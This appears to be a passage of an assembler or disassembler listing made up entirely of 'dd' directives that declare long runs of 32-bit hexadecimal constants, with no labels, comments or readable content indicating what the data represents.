dd 6FC0AB00h, 777DAEC6h, 3DCA6CDh, 338C2796h, 4BC0D110h
dd 22603C97h, 1DB40A20h, 0BDF57F53h, 94F758C2h, 5A8C0E90h
dd 30A006C5h, 0FE55CB3h, 6D0022E6h, 1D3FB138h, 4C4F98h
dd 1CD0F5F1h, 9E181B8Ah, 0A5943201h, 0B4B04BFFh, 91F82025h
dd 0D5B90CC0h, 0DA7131B6h, 2CE85B03h, 0ECE4C9Eh, 0E2686228h
dd 2D534A81h, 0BCB5071Fh, 21141862h, 9001A59Bh, 0D89ED068h
dd 0FCE33124h, 0C4A1ED5Fh, 34542C01h, 163522D2h, 0C5150103h
dd 8FA4048h, 0A21C5B25h, 0B6D20CFAh, 3101591Dh, 330CDD4h
dd 0F0798CD6h, 3057315Dh, 0C5283169h, 2403B901h, 13EF30FEh
dd 5207320h, 56DED695h, 61D0081Dh, 413139C4h, 1B5F1835h
dd 31EB1F98h, 0B97A56DBh, 2A0DE818h, 0A5C4E68h, 33F43260h
dd 0F11E98A4h, 31049D74h, 141D403Fh, 6458D641h, 2318669h
dd 2818D507h, 554C0C16h, 840158A0h, 631047A5h, 248ABB0h
dd 84E82A18h, 6DAC0E06h, 1830DF71h, 18203603h, 4CA05ECEh
dd 58A1E99Fh, 1FE843E7h, 50E29104h, 28845234h, 6014845Fh
dd 8FC21A4h, 4956599Fh, 0B8B6743Fh, 9085FDFAh, 22928489h
dd 881E212Bh, 0AEC124B4h, 2842936Dh, 0AAC215AAh, 6AE224DDh
dd 0A2BEE010h, 237A10C0h, 4AA4E287h, 3208E514h, 0F5DC428Dh
dd 239C4214h, 5468504Ah, 88CD1085h, 0FC21D482h, 21B444BDh
dd 0C40F219Ah, 0B96759BCh, 32E35011h, 3B97196Ch, 60326721h
dd 65B4C10h, 0D4EDBA65h, 3D560D79h, 0A8614D01h, 0B0508440h
dd 7A06B610h, 39F53C8h, 4C0C8458h, 0DD3C7CE4h, 91C63B40h
dd 44706138h, 10CE1D45h, 0A1211953h, 6AA48C35h, 2CC861D0h
dd 0EC74429Dh, 33F03483h, 96A3937h, 0D6DC47C0h, 11456FA5h
dd 64BD26C2h, 5901A091h, 80F04D98h, 9E5FC241h, 4041580Eh
dd 57001947h, 5C0AE2FAh, 0F0EC0FA3h, 8AD8C0FCh, 87ACD478h
dd 0B9EE9300h, 7DDA73AAh, 1621F0A6h, 6FA5DFh, 0D70391B4h
dd 5B03B2B0h, 0E8557DC6h, 5E75E0F0h, 900F3AA7h, 0B81A516h
dd 180EE0ECh, 740C019Fh, 8BB4D864h, 1AFAB40h, 79E1CCC8h
dd 40094471h, 3CB44860h, 1900737Dh, 0A6D6931Bh, 4CF16491h
dd 0DF3A2330h, 7DD6947Fh, 74E2C11Ch, 0E800D772h, 0AA2EABE0h
dd 78140462h, 9514CB60h, 0D17242FCh, 0EFB44855h, 1574B865h
dd 18E6A7B1h, 0B430AB92h, 0A15A0ACh, 0D64BA6ECh, 0F0AAE62Ch
dd 1661C480h, 6B05ACB8h, 778FECBFh, 0ADE83830h, 6C6A02B6h
dd 74ABA6FAh, 5D88C0E1h, 5A401C14h, 0D6C8F05h, 0B4C363B6h
dd 0BF41FF80h, 0F845A6ABh, 0E55ED480h, 55AC96EEh, 0CAFE00D4h
dd 0EE91870Fh, 973E8A10h, 5E5000F5h, 61ADAFBFh, 797D26A7h
dd 12B61234h, 1E005DDCh, 3511ED6h, 6AA6BD23h, 5D9880C4h
dd 720FB3D2h, 847EADA4h, 40C1A55Bh, 2880BF61h, 88AF16E6h
dd 2099A863h, 6C486C28h, 5A7D0EE8h, 8AA789D4h, 67617428h
dd 91930B9Eh, 0AB2CCB23h, 8056EFC4h, 62ABAC30h, 120D033Ah
dd 2DBBC072h, 345850A8h, 811DD173h, 0EC026FB2h, 60BD973Bh
dd 78D463D0h, 0C05C18E6h, 0ADD040A7h, 312C098h, 0EAE7CAEh
dd 0A48EAC60h, 12838Fh, 0C33C1E8Ch, 5D0B797Eh, 1A781CDh
dd 75C0B970h, 0C6A6E9D3h, 77D00061h, 0A7AE3CD8h, 6082D518h
dd 0AC9081D3h, 5B0458DFh, 0C6AE7DCCh, 0C60E40E8h, 8CC1ABAAh
dd 78C8C8C2h, 0E4DA95D4h, 5C75A725h, 5DA04CA4h, 0E0ECD64Ah
dd 0F84AFDFBh, 6FA43C73h, 0C0D4FA2Eh, 72ACB40Dh, 81600359h
dd 740501B8h, 0D170D4E1h, 0B8D1495Fh, 0C03CBED2h, 1D1C98DBh
dd 0AED279h, 0AA7DD372h, 0B17CBFC6h, 0ABCD8805h, 7C846EC0h
dd 6A80DCABh, 1C6BE85Fh, 86EF05FAh, 0C490C671h, 0B083ACF4h
dd 0E47D59B4h, 0D876FAC4h, 98B0800Ch, 90AAA616h, 9E7DDC0Eh
dd 7716BF1Dh, 20AFE00Dh, 985EC434h, 9746208h, 0C4C275A6h
dd 0DC98E494h, 0C0B2AFFCh, 7018481Eh, 133820AEh, 100CADCDh
dd 78D569D4h, 0CF6E3AABh, 4220A72Eh, 2C96D677h, 65F83C90h
dd 69AFD43Dh, 603403D8h, 0C6F83DD2h, 7879AB07h, 0DB0CCA4h
dd 0D70580C5h, 50801824h, 97E85BB3h, 40D71CB7h, 0ADB288B6h
dd 0A3A50B2Dh, 0D1A3B884h, 4F0EE890h, 0BC187C10h, 4C209793h
dd 0AA7DA38Fh, 503E625Ah, 3900F80h, 0C02CADDAh, 0AA05D872h
dd 64C3CF96h, 837DA05Bh, 0D940AA71h, 50D0B8F8h, 8B190003h
dd 0A5DD01FDh, 20B8D264h, 0FCDB5A25h, 0AC7D8900h, 647744E0h
dd 0AAABD813h, 0B4C53CC8h, 8A1440D4h, 710BAED6h, 8781A572h
dd 9157CD80h, 80FBA787h
dd 76B9D88Ch, 3990B85Ch, 7CF49854h, 50C08270h, 7D6082A4h
dd 0A7609021h, 73753AB0h, 0D2AB8113h, 0C85B7150h, 0AAECE606h
dd 0DFF61968h, 42B97858h, 3497D180h, 0ECB0E064h, 0E850BEA7h
dd 973B5F34h, 90DC61ABh, 0AAB914FBh, 3401F072h, 3BE1F1A8h
dd 0ABB0E094h, 0B3036406h, 7A215D7Ch, 0A6AE1274h, 4B94F273h
dd 906EF8ECh, 23E0C8F6h, 6FAB0B0Ah, 106A38CDh, 3FE9F5Fh
dd 0F662A6B9h, 0D860E80Dh, 607C287Fh, 90B0F874h, 0B2DC801Ch
dd 0CED8776Eh, 0C0E7D620h, 417F2764h, 38ACD25Bh, 0CAE05DB8h
dd 0DF87C45Ah, 8CCA743Bh, 3067E99Eh, 3E7D84F8h, 8B0CD772h
dd 6388D25Eh, 61DCD650h, 0AADF030Ah, 0BC3CD878h, 7FE0075Ah
dd 8399C677h, 0C00A0104h, 5AFC071h, 45379C91h, 0AEB00A76h
dd 7CFA80F0h, 54ABD572h, 0EC66DCBEh, 0FACC1A28h, 0C8291891h
dd 58788877h, 1E89DCA9h, 5606B14h, 9AADB030h, 4D4A201h
dd 0A6D37874h, 9AC04482h, 276453F4h, 84ADF0A4h, 8830E020h
dd 7C1F14F8h, 750FA75Eh, 7405025Ch, 0AAF08173h, 1828236Fh
dd 9E1CEABFh, 5C58012h, 9C1D403Ch, 1E904F00h, 5AD7D0F5h
dd 25F02285h, 79B8013Dh, 370C0EE6h, 8DEA2D3h, 0DF21C004h
dd 5D35D610h, 0BB2533ECh, 0F0E45Fh, 5C6D0BE0h, 0B637DD02h
dd 0A657FA00h, 3FC8BD95h, 641B011Dh, 0D0E99F38h, 0E731C009h
dd 8B51D500h, 0EC9AB903h, 5089C0A8h, 0EE65B5B4h, 0C9C53304h
dd 80EA90CCh, 8CB7753Ch, 0C85C5327h, 0AA75A08h, 0F30FF23Dh
dd 91DB7020h, 7EA5088Ch, 0A8011C09h, 1F5A0114h, 89FA9850h
dd 0A1BD0013h, 0D925B2C0h, 52E8B470h, 40E421CEh, 84ECEE13h
dd 0A11606A7h, 0D01E53B1h, 50635632h, 138D3005h, 20A1C908h
dd 404E64B4h, 9D1385E0h, 29F101DAh, 0BB879A9Eh, 2797C849h
dd 0D4BC9828h, 1DAD2100h, 583B5C4Eh, 3E710025h, 9AB57ECh
dd 44787B03h, 0D3EA807Eh, 0D5ED100h, 2F387A1Ah, 0C79414A1h
dd 55881C39h, 7B3A903Fh, 1319CE00h, 3D712630h, 0E49F0C03h
dd 0C02931B7h, 18CC7A18h, 40517339h, 0B3C7CB0h, 0DE71E153h
dd 30838797h, 0BF7EE6B8h, 21460930h, 878FFEh, 0D5551DD8h
dd 0CDC9D1EEh, 48589D61h, 0C0807742h, 4D25CBF7h, 10C13B5Dh
dd 5029838Fh, 1579FB00h, 411DDC1Fh, 0C485AB42h, 8849739h
dd 23D40C88h, 0F0322FE1h, 87913011h, 0E8B7DA11h, 37FE284h
dd 0E88789F4h, 396E3A7Dh, 6C004F6Ah, 7A030EF3h, 0C8C0E219h
dd 2D3CD1E5h, 0CDB1C06Fh, 0D67240Ah, 0AF312500h, 87A5B9DBh
dd 930500D4h, 6475E650h, 17103CCCh, 5E003B86h, 8F80FBAAh
dd 0B633AF98h, 0E457E06Bh, 0FE4DE940h, 53507983h, 0B70080A4h
dd 0CF8B0E6Fh, 0D47C663Ch, 0C13E7F49h, 7A411881h, 58129389h
dd 72806D1Ch, 0E8B1C97Ch, 506A7503h, 0E7977FB0h, 3AA60605h
dd 2C0016E0h, 0A33F9E60h, 90AF3F05h, 9F06FD0Eh, 0B921518Ch
dd 0C6001173h, 0A5A925E8h, 30CF9BD3h, 5E85795h, 80804028h
dd 0D9DA0058h, 371913A8h, 9E48F129h, 0DB981420h, 7CAC03A4h
dd 7B47280Fh, 79E30331h, 0DAA8CD95h, 8CB0BAD1h, 207ADC08h
dd 79AB00FAh, 0F6A4D1A7h, 1E244D19h, 47F63482h, 0F4141FA3h
dd 0DFFD09h, 45A09FD8h, 0BC9650CFh, 0F13112D1h, 6AC5E7Ah
dd 0B94B044Dh, 59772237h, 7CA1AC50h, 1A0B3FE1h, 0D4052F0Ah
dd 0A54356F0h, 6430C10h, 0EFD9C205h, 72DC80D8h, 0F8C28C74h
dd 1E4671h, 0AE0B57AAh, 258820A7h, 8504CE6Bh, 1594820Bh
dd 84209531h, 948849B7h, 0F8214B8Ch, 69878D01h, 2ACFA670h
dd 3941E447h, 0E0805F4Bh, 0D6493294h, 0D28F974h, 143E9875h
dd 33FD00ACh, 0A29EFEF6h, 0B59D00ECh, 0BF7DD25Dh, 61E47B6Bh
dd 4FBCE150h, 0A86AC92Ah, 0C8E9DB06h, 0C489BD5h, 5A0737E2h
dd 10C9F68h, 0E0E749C2h, 893E0CD5h, 9B397F22h, 9900A373h
dd 4758B2F5h, 0E85BFAFCh, 0B021C7A4h, 0FE41300Bh, 4B73E6CDh
dd 480D3D24h, 86527674h, 5B0DB201h, 0F51B6F21h, 0A04C0260h
dd 1C136ECh, 8155DF95h, 9285F7F1h, 0B80805B8h, 3712C7ACh
dd 9F0FD207h, 0BD115319h, 0C534CC15h, 1E612600h, 9677E178h
dd 507FF886h, 480DF4CEh, 7A290451h, 0AD68B2A4h, 113F9D30h
dd 881705A0h, 14BE8E54h, 0EEC83360h, 0F00BB2Ch, 5735DE5h
dd 0C24E9D7Ah, 240F660h, 0CBC1BC9Bh, 0F001FB79h, 0BB958A7Fh
dd 80B1DDD1h, 461998h, 4081D374h, 0C1193AE5h, 0BE1850B5h
dd 1D0C20h, 0E2A49BF5h, 0CC30CECAh, 2A3D5605h, 389190E9h
dd 0F84A893Ah, 0A1128B23h, 0A2F5D905h, 2398F862h, 289E09BEh
dd 0DB579D00h, 68B797C9h, 30D970D0h, 386895D2h, 3D00BF2Ch
dd 8CE7AA83h, 507BF1CDh, 2A4DDC56h, 12FC4F08h, 4234FE48h
dd 0C529B788h, 323F6C68h, 92BB77h, 2328C448h, 79D7010Bh
dd 18C8CD91h, 67A40DFh, 0F079E018h, 567C70Ah, 2C2BD007h
dd 21B4819Ah, 0CF70073Ah, 99259F5Ah, 77790040h, 68F84892h
dd 0E561800h, 0A8CB639Ah, 0C04736Dh, 1620982Dh, 48C0990h
dd 0CD9379E5h, 5363D8h, 79AE0421h, 4F7661B4h, 0CC2DF624h
dd 0C739FC43h, 0DD138FB0h, 78DC0087h, 743FE837h, 8920717Fh
dd 934072D4h, 0B46A0B18h, 0D2058410h, 18DDA130h, 1D8D8E7Ah
dd 0A833E9CFh, 0C254A0B8h, 1E442A85h, 398A46F8h, 0F598889Ch
dd 47A0C4AAh, 8E3004B1h, 5D0137C2h, 0C4565CA6h, 0C44EF406h
dd 8407317Dh, 59414896h, 89EF9C73h, 288F7917h, 0A06CD0D7h
dd 549B9A40h, 3848CF94h, 0C90C81D1h, 24B633F1h, 88451824h
dd 30987ACCh, 3FFE4B12h, 262B1C43h, 8210041h, 4748F8EFh
dd 12ABBF4h, 0C505F44Bh, 80240956h, 0CF55C4Fh, 53955h
dd 736FC548h, 9C6509C1h, 1EE84C03h, 0A918BED8h, 2AD0D2F6h
dd 0B7F5044Bh, 90684201h, 59F34174h, 37036C92h, 21BBE98Ch
dd 0E4D850FDh, 0D4BA526Bh, 0D5C1AD04h, 9A018F0h, 113099EAh
dd 3F9980E1h, 43B7059Ch, 39562290h, 0A88010BAh, 62FE36CAh
dd 3048EAACh, 2DC7C298h, 42A8A068h, 0AACFC3h, 4A1529A0h
dd 955E7BFBh, 2D637D0Ch, 1FA880E7h, 8C8E4137h, 7B39F44Bh
dd 0AD041C9Bh, 78980E7Ch, 947908E2h, 51C4B0CDh, 79AAFB40h
dd 1317DC9Bh, 6420FD4Dh, 51CB21CCh, 0A4019848h, 0CE029EE2h
dd 10C1F89Ah, 2CB048C5h, 40039416h, 4A610804h, 55A40412h
dd 7C310A3Ah, 0CC08F792h, 79E4C008h, 0E052CD92h, 0AD058054h
dd 69E1879h, 95C8D917h, 222A7899h, 6F048471h, 33C2F89h
dd 861BB0C0h, 67A40E6Bh, 70B9C514h, 0BD91805h, 0F8CD9F79h
dd 40E1741Ch, 0F3260B9Ch, 77B1B812h, 56818406h, 0CA030BC0h
dd 34AAE391h, 11106A24h, 62138EABh, 0C7070506h, 0AC00E40h
dd 0E0A03560h, 8D3E497Eh, 4890242Ch, 82736589h, 363D7C8h
dd 0A0D817BFh, 9093B007h, 497A0284h, 24D31CD0h, 0F1E20C73h
dd 3F694D17h, 294F5900h, 2CE8B186h, 8BAF0083h, 9D8AB972h
dd 60997EDCh, 8E113CA4h, 9C61A08Eh, 0C5C0AF5h, 8BD88A2h
dd 9F07D3E6h, 0F07BDC02h, 0E9BE7E11h, 0B8728C5Dh, 0A3055B2h
dd 0D1E10049h, 21C24B8Eh, 3C90AFDBh, 9A052C90h, 45C9D3F5h
dd 0A0201099h, 425242BDh, 30A7A264h, 0DF012795h, 59BB9BF6h
dd 0D826FB12h, 4ABA097Ah, 384024EAh, 0B1021380h, 5D4F53DDh
dd 0CAB6E09Dh, 8304ACCh, 0D02B4D10h, 8720AC28h, 0F9D32C56h
dd 391930A5h, 31CB7D2Fh, 115C1D0Dh, 881D8050h, 0E8FCC0C6h
dd 1FBF02CBh, 0A1ED3319h
dd 100F2441h, 0F549C937h, 0FB801062h, 0E131CA04h, 0D3040490h
dd 0EAB4A597h, 45F2A4E2h, 60F8F033h, 120B38Eh, 4755D203h
dd 629C271Eh, 0C4D85118h, 7DA6018Ch, 0C204FF64h, 74203471h
dd 0EC696314h, 0DF291018h, 0BC8B2C49h, 6813A807h, 2E989600h
dd 1283664Eh, 9D45DDD6h, 8D184118h, 80E422DBh, 0E935BAA0h
dd 0DD812405h, 72468038h, 0BE9488EAh, 0DC0B1A01h, 9F21F9B7h
dd 5937E052h, 80048000h, 10CE796h, 3AA27E09h, 988030E2h
dd 59D113Fh, 934988BFh, 11C12C7h, 0CF1FF76Eh, 8224225Fh
dd 0C4B86B9Bh, 0C2031158h, 2CDC2411h, 0C7759BC3h, 65C8A0C9h
dd 814F7D7Eh, 0EDD882DCh, 684BBB3Fh, 589DF9F4h, 56F82476h
dd 686D008Ch, 406383FCh, 48F83B50h, 7D2BFF1Ah, 142484A8h
dd 0E7879260h, 24AC9EB0h, 57FE020h, 24878AF9h, 52368059h
dd 0A00F4482h, 33582DFDh, 6981300Dh, 49BC3028h, 3909138Ch
dd 6DB4029Ah, 7052FC4Bh, 0F53CBF00h, 0A5A9AF9Ch, 0B4CD536Bh
dd 0D8357A08h, 4F17AB06h, 14FF0019h, 0C57E61C3h, 0EA0084E6h
dd 0F723059Eh, 493FD4F2h, 2511E869h, 6D7004Eh, 0C99B4BFDh
dd 5B60992h, 50825E44h, 9CC03ED6h, 0A8834C1Dh, 825039CBh
dd 4B793C60h, 4C0918D6h, 2880A3E5h, 60590049h, 302DE176h
dd 0B3005F21h, 0A23C2B7Eh, 87FB0Ch, 3DD69DB0h, 0F18D7A04h
dd 837CC8C1h, 488340C1h, 3F15717Fh, 0D06A6014h, 83FD007Ch
dd 0DEE630F4h, 0C7CB5179h, 0CD4F3084h, 76A0D372h, 8053C9E1h
dd 77FD7BA9h, 7624A923h, 9F33064Ch, 4CF8A457h, 0B4D8E524h
dd 75B68000h, 484131B9h, 7A3CA3h, 179047CFh, 95347EF6h
dd 0C2607360h, 0B0ADA3F1h, 0D1D30B00h, 984D0E3Ch, 20435391h
dd 650B2D84h, 5D7F8404h, 19510A4h, 0CF74D1D2h, 5087173Ch
dd 80BDD984h, 36F102E6h, 3DC70F3Ch, 0E6AD0595h, 8385D4D1h
dd 88A28944h, 30B457F3h, 16E9CD1Dh, 2924AB03h, 5B7FF020h
dd 0D1D82985h, 0C491852h, 824A99CAh, 0F0948E2Eh, 9627AE60h
dd 26F6000Ah, 51AAC202h, 0D1014119h, 33355C7Dh, 486CCC3Eh
dd 49E8F04Ch, 0C621018Ch, 563F412h, 659C40F5h, 0EC9A85CEh
dd 926BE832h, 64ACE750h, 23406757h, 0B8046F05h, 264505A8h
dd 0CC40D0h, 1B76089Ch, 3300BA7Ah, 77BBEA5Dh, 9046F4B9h
dd 6CF94C00h, 7584CC83h, 0B47724C1h, 6C80F130h, 5A72642h
dd 4FBD65C5h, 57E082C4h, 0C6823E07h, 4A4AB40h, 9D639744h
dd 0C2F50612h, 0B21CE4CBh, 5A68C505h, 50982016h, 76000B2Ah
dd 0FFF5E4E6h, 0D145ABh, 5BBE8B68h, 903475A6h, 9602E801h
dd 0BA0137E6h, 986E9028h, 22268484h, 189019D4h, 0C846F706h
dd 0A64C8990h, 0CC0EBB11h, 6E09B52Ch, 0D5DFE5h, 334BBA26h
dd 9C5624ACh, 6ACD08E4h, 0AA547EBAh, 0C1264798h, 0A0A25C65h
dd 706E3B4Eh, 4D258B05h, 0A12400FBh, 57E588FDh, 13D2D112h
dd 0C004B808h, 0CD9E79D8h, 40DD18E1h, 0E100017Ah, 74AD2679h
dd 1D46C614h, 313C2407h, 40A9C0h, 126D8DFDh, 1E9DB3EAh
dd 184812F4h, 3E45D8FCh, 0D1E21E8Ch, 849A14C9h, 8889D2Ch
dd 0F04443B4h, 5A2788E4h, 0B20C2147h, 32C6D542h, 2FFC07A8h
dd 80092B0Ah, 1AE7C028h, 0F44B2C1Ch, 59684C54h, 7077A54Eh
dd 7F8531C1h, 0BEC2D82Dh, 0F448F745h, 0D18970C3h, 2C4EE8CCh
dd 0A8D43AD3h, 48474480h, 20B27F6h, 48DD795Ah, 8346A180h
dd 9282980h, 6A14A002h, 6098737Dh, 2EA50F9Ch, 747C8E7Bh
dd 0A20F5646h, 84404BC9h, 9EDC899Dh, 3D766317h, 18FC5C40h
dd 30A1F5Dh, 39CF9D0Dh, 0F80378D3h, 4DBA8C9Fh, 0F1C9A813h
dd 18606043h, 0A665F93Fh, 8C0B88A0h, 8061CB2Fh, 56C201E0h
dd 6C9834h, 81B4CE3Ah, 72050ED4h, 2537D925h, 0C1843154h
dd 123E50E0h, 80A2459h, 7C78D60h, 12F59D30h, 50C8B45Ch
dd 63E60FBCh, 2060EB00h, 715332ADh, 0D1B0046Bh, 49991201h
dd 7DF86821h, 7FC100B5h, 6886FBA0h, 0A9F8FD94h, 3AA31F05h
dd 0AC4EBED3h, 1D56B0h, 1F57D3Ch, 5C53E9BBh, 5A219290h
dd 12F4B000h, 0D81B7289h, 0A702F500h, 476FDAC3h, 65284A3Bh
dd 2C380D34h, 93384168h, 40002A86h, 0D3F6100Dh, 5800BADDh
dd 73B6096h, 0F40340E7h, 82B884F3h, 88A1D094h, 7CB9CBF4h
dd 2A3C583Ch, 4C91C429h, 8118A2D1h, 8A06D97Eh, 870737EDh
dd 0CA3D2578h, 4682Bh, 0EF74A06Bh, 9929C810h, 56A12212h
dd 0C8B08BC8h, 7B9FC06Fh, 4494416Bh, 795E8502h, 2E6458F2h
dd 921095CBh, 23842FA6h, 0BD6E0055h, 0F81D9DB7h, 0DD450A00h
dd 798B342h, 80409C28h, 0F16EB7FAh, 0A6F23844h, 8D53C504h
dd 24A09B88h, 0F3992772h, 0CA03EC20h, 909C3B45h, 41C74F88h
dd 31292CFBh, 0BCF828A0h, 247F43E2h, 9005701h, 0BBA0C0F6h
dd 2248CB6Bh, 1AA77048h, 0F007FF75h, 2C15A4B3h, 2854453h
dd 3323FDA8h, 0C440E719h, 5C24ED28h, 95123CE0h, 21CC5441h
dd 0D7014CDFh, 2470F1F8h, 526054E8h, 89ADA6A9h, 90A50304h
dd 5B77C8CEh, 44070C2h, 22819615h, 2800E86Dh, 5889216Eh
dd 0B80075B2h, 917A20FDh, 4DFADA77h, 2D108432h, 1FE4047Dh
dd 888852BBh, 1A392D09h, 0EFD4018h, 116A6916h, 893A7CC1h
dd 6FC8030h, 0EEFFF925h, 4C9C1099h, 266F465Eh, 4514B015h
dd 0FC4D13D0h, 0F7A1D020h, 7E83148Dh, 3AD6ECBDh, 14C2398h
dd 5CE662Ah, 28244934h, 8C57ACACh, 7D960809h, 9064F7h
dd 0FFB1BBFEh, 90889861h, 0FBA51402h, 4158F6F0h, 0B8722800h
dd 6FD9E207h, 0FD7DD0F3h, 0E4004A26h, 77173A5Ah, 2715231h
dd 4B2A0F53h, 84C438E9h, 789B0C26h, 2400D08h, 5FF04DA0h
dd 1CBD8AEh, 0F1CCD010h, 18798B2Ch, 0E444454Bh, 0CE173057h
dd 69750009h, 3CEDBA2Ah, 0E73DD81Ah, 2A68354h, 0B8327F8Ah
dd 260522B3h, 6423Dh, 3E43938Fh, 6D3D3369h, 1060FDC4h
dd 0A9CCAF39h, 0A4DC006Ch, 299E53D7h, 0E013613h, 95DF7589h
dd 1085F955h, 8053E05Bh, 8548481h, 7751D83Ah, 11EBC030h
dd 3DCBB107h, 2C067135h, 89868DCh, 4021FD6Fh, 0AD8ACBA9h
dd 8D961F1Ch, 0DDED01C1h, 800CDEF6h, 72926E91h, 7895C34h
dd 5D95ADF4h, 91280DCEh, 0AC805870h, 987130CBh, 2702448Ch
dd 2FCBA41Ch, 951D9FD3h, 634A4980h, 7FED4B9h, 6F24E798h
dd 0F13791h, 8BEE843h, 57D02918h, 74E740h, 0DD419B61h
dd 0D5EBFC54h, 71084C66h, 59950021h, 25AF1C9Bh, 61002E3Eh
dd 28A17585h, 0A0E427BFh, 82EBDDA8h, 23DC000h, 0D90170DCh
dd 59CCDED5h, 3CF5D872h, 0E288048h, 91B3AB37h, 895886DEh
dd 2260081Ch, 0AB2F4F21h, 9901009Ah, 61156E27h, 0E23BD54Eh
dd 42C0600Bh, 6FF0A9E8h, 0F80030DBh, 61661744h, 0C1978EEh
dd 0F5082C59h, 3D1D2187h, 0CCB7F017h, 0EE003967h, 2C4033C8h
dd 0C6CDD975h, 31E8F1A9h, 0B4664E00h, 3ABFC73Fh, 790F4F7h
dd 4A458E75h, 5228E23Bh, 4E40C45h, 0B3C2E760h, 82B4BB00h
dd 3370F50Fh, 998900BAh, 0DC72E336h, 96004971h, 0EA77355Dh
dd 2B68DDh, 9565C43Eh, 0EDA56358h, 418C3448h, 8D7DE084h
dd 0DF103861h, 0F04E42D8h, 0CAC06BC8h, 28F44334h, 46D85551h
dd 0AB300237h, 331C91ACh, 284840BCh, 120778ABh, 75AB58Eh
dd 42E9E664h, 47C9FBh, 47602564h, 437C3608h, 39813E01h
dd 0D95933F4h, 0ACA4D60h, 0E4886362h, 7698B9D8h, 8D85D15Ah
dd 48F17124h, 6F63C106h
dd 0DF4D0018h, 0DDA86403h, 1449618Dh, 84A526F8h, 5416A020h
dd 311FE17Dh, 8B8F018h, 0A401004Ch, 0CA8635Bh, 70C1DFDBh
dd 85455D91h, 0F174D040h, 208B4802h, 0E543D650h, 60ED95DCh
dd 0C8E7206Ch, 3B53281Fh, 8751DC20h, 9959382h, 0DF0BF621h
dd 46EC80A0h, 9B62022Ah, 475CDD42h, 5A9601DCh, 0E4AD179Bh
dd 89001D21h, 370EA151h, 2BA596Fh, 6D9F24CEh, 8086090Dh
dd 0DF163955h, 9B1E40D6h, 943FA69Eh, 4888E992h, 8DD51854h
dd 0F924E698h, 5490DCE3h, 0F8E4284Fh, 0BE5313A7h, 65A84161h
dd 0BE42416Dh, 78D93E60h, 100CBD30h, 0C4E8DE1h, 280E38E3h
dd 0FE403668h, 61CEB807h, 14F25884h, 2C8E207Dh, 11248C90h
dd 3706305Fh, 0FE60DC53h, 3BD7A13h, 0F1108BBAh, 0D81112C9h
dd 4922EA9h, 4F41954h, 0CC91E6FDh, 4BE04C6Ah, 8E1B0CF2h
dd 0D920FF8Dh, 0A842E741h, 0F2346CA7h, 61641117h, 83F38844h
dd 45173B1Bh, 22BC2A00h, 0F21D3E98h, 8021DDEAh, 0E991B6AFh
dd 0D5006E66h, 0FF521EABh, 3873F981h, 903AA79h, 8CA5580Fh
dd 540CD8A6h, 0B1F35D17h, 94664DD0h, 0D9115C4Ch, 78A52818h
dd 80AF31C8h, 61F40447h, 2165F97Dh, 0E405B520h, 0A4005BEAh
dd 0C3CAD54Dh, 80A44C41h, 4BB823C0h, 0A871809Eh, 19870200h
dd 7085DD7Fh, 428D0571h, 12F7DEE9h, 86601C90h, 0A072900Ah
dd 29B86754h, 16E6EB00h, 79694A32h, 218E895h, 4BFFE284h
dd 14C2F707h, 0EECD1440h, 69631780h, 2082B9E8h, 3911DF34h
dd 0AB083218h, 0C42C91AEh, 2A4A4024h, 7AA1ABh, 0F1DBF939h
dd 91C3B3C1h, 76E99512h, 68D02C06h, 8FD13CA9h, 4044181Dh
dd 8EA8E459h, 9500F0D2h, 82D51B23h, 0D832FBh, 0A6E807BEh
dd 148E0852h, 0E172A0A8h, 5CF94924h, 86C8542h, 0D3FA1CACh
dd 6D380E08h, 91585010h, 0EBA70340h, 0D0548F20h, 8809C030h
dd 5402779Eh, 9D09FED1h, 84F41174h, 8480F98Dh, 24F3D599h
dd 0DBC36D9h, 2078041Bh, 48C2824h, 0DD409B60h, 2068624Ch
dd 769B5894h, 61C57D0Ch, 0DC8D98F8h, 5D22D2F8h, 0E56C84E0h
dd 0A4308211h, 814D7060h, 2BC4082h, 409D51D8h, 7C5A5E9h
dd 7DD74882h, 0F4EB3929h, 0E88A40C4h, 0DA54D51h, 2019A4E3h
dd 5DF80020h, 8C9A6809h, 61D41302h, 641BE1A5h, 60904528h
dd 0DD1C4544h, 6A421184h, 0C059CA05h, 2A31A225h, 648D7E8h
dd 0C16D93ABh, 4050585Ch, 1842ADC0h, 3F17A423h, 2C53241Ch
dd 180038h, 0D8D01738h, 332E85AAh, 0C03D5F2Eh, 0C0709B0Ch
dd 824F51C3h, 48855520h, 107F1CE5h, 46A1975h, 0D39FD974h
dd 95337C80h, 18636069h, 35C5DF37h, 298FD6Bh, 91E3104h
dd 0F99FB806h, 0C4A6B0C8h, 61AB8141h, 0EE58483Ch, 0C3A1A88h
dd 0FBB14017h, 4FDE160h, 2756A8C2h, 0C0D4CA05h, 71D1C763h
dd 0A9DBD935h, 0C038D008h, 91ADAB31h, 49802443h, 0E7DAB29h
dd 13124F01h, 2C01E81Bh, 0B074033h, 0E0A6A272h, 60E5D75Bh
dd 0CC919501h, 0E29CE4CDh, 40597C70h, 930AAD1Dh, 0A060B965h
dd 58429244h, 2868F5C1h, 0EE03049Ch, 45F602F2h, 9D42986Bh
dd 0A01756ABh, 123B1C50h, 65DFDEA6h, 11A00504h, 95B4D11Fh
dd 0C84DE79h, 0DAAC8D2Bh, 169B6330h, 3864DD43h, 5B0097D0h
dd 0ED75E19Bh, 7BDE3809h, 121A06F5h, 0B9FCC160h, 46B9C601h
dd 85F82AD5h, 1C0C3D4h, 30B802F6h, 0F0A9608Ah, 41625D72h
dd 64015598h, 0B4F94434h, 0FB8A6801h, 75E76A49h, 63159472h
dd 3C78C892h, 93243839h, 0A6E44F1Ch, 0AF74C123h, 234C2D4Fh
dd 0CBB3015Fh, 0ED07137h, 0CBAB2E00h, 0D5CAC081h, 0F50CF09h
dd 0F95C0223h, 0E5B02810h, 310CCC1Dh, 0FA30518Bh, 13A43081h
dd 75703D95h, 55D0ED40h, 0D0006F4h, 0E97F1978h, 3BF80848h
dd 13D160F1h, 2C1EA1h, 0B83862D9h, 0A69A90DDh, 51937B04h
dd 68820636h, 0B90500D3h, 0C5003114h, 27F2807Eh, 3F68858Dh
dd 8100E4FBh, 4F4DADDAh, 897D5075h, 0E27D10E4h, 0C7B5FF19h
dd 51C06A27h, 0C30370E8h, 0C3592002h, 51758992h, 2119988Ah
dd 0C3005141h, 5ACC3149h, 90891B33h, 5B116EFEh, 0C30D5C6h
dd 0CEB70F19h, 6D87CF78h, 1C2DB509h, 430681Eh, 0BD8B5201h
dd 0C041D829h, 0F581FC5Fh, 278DC547h, 1E88F9C1h, 7631FD63h
